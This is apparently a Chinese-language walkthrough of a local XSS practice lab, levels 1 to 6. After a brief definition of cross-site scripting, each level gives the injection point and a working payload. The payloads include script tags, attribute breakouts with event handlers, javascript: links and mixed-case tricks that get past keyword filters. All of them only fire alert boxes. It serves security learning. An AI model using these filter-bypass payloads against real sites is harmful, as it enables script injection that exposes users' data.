什么是xss
跨站点脚本(XSS)是向真实网站添加恶意代码以便恶意收集用户信息的过程。XSS 攻击可能通过 Web 应用程序中的安全漏洞进行,并且通常通过注入客户端脚本来利用。虽然通常使用 JavaScript,但一些攻击者也使用 VBScript,ActiveX 或 Flash。
Level 1
输入点在url中,反射型
http://192.168.152.129/level1.php?name=<script>alert(1)</script>
Level 2
搜索型,查看元素可以看到输入在input标签内,需要闭合input标签
Payload: “><script>alert(‘xss’)</script><”
Level 3
输入点在input标签的value属性里面,尝试闭合属性,基于事件弹窗 ,双引号失败,试试 单引号
Paload: ‘ onmouseover=alert(‘xss’)
Level 4
和上一题一样,输入点也是在value属性里面,这次用双引号闭合属性
Payload: “ onmouseover=alert(‘xss’) “
Level 5
过滤情况:
On替换为o_n
Script替换为sc_ript
大小写尝试了也不行,只能用别的办法了
Payload: “><a href=javascript:alert(‘xss’)>111</a><”
Level 6
过滤情况:
On替换为o_n
Script替换为sc_ript
Href替换为hr_ef
尝试了一下用大小写绕过
Payload: “><img Src=ss Onerror=alert(‘xss’)>
“><Script>alert(‘xss’)</SCript>
“><a HRef=javascript:alert(‘xss’)>hh</a>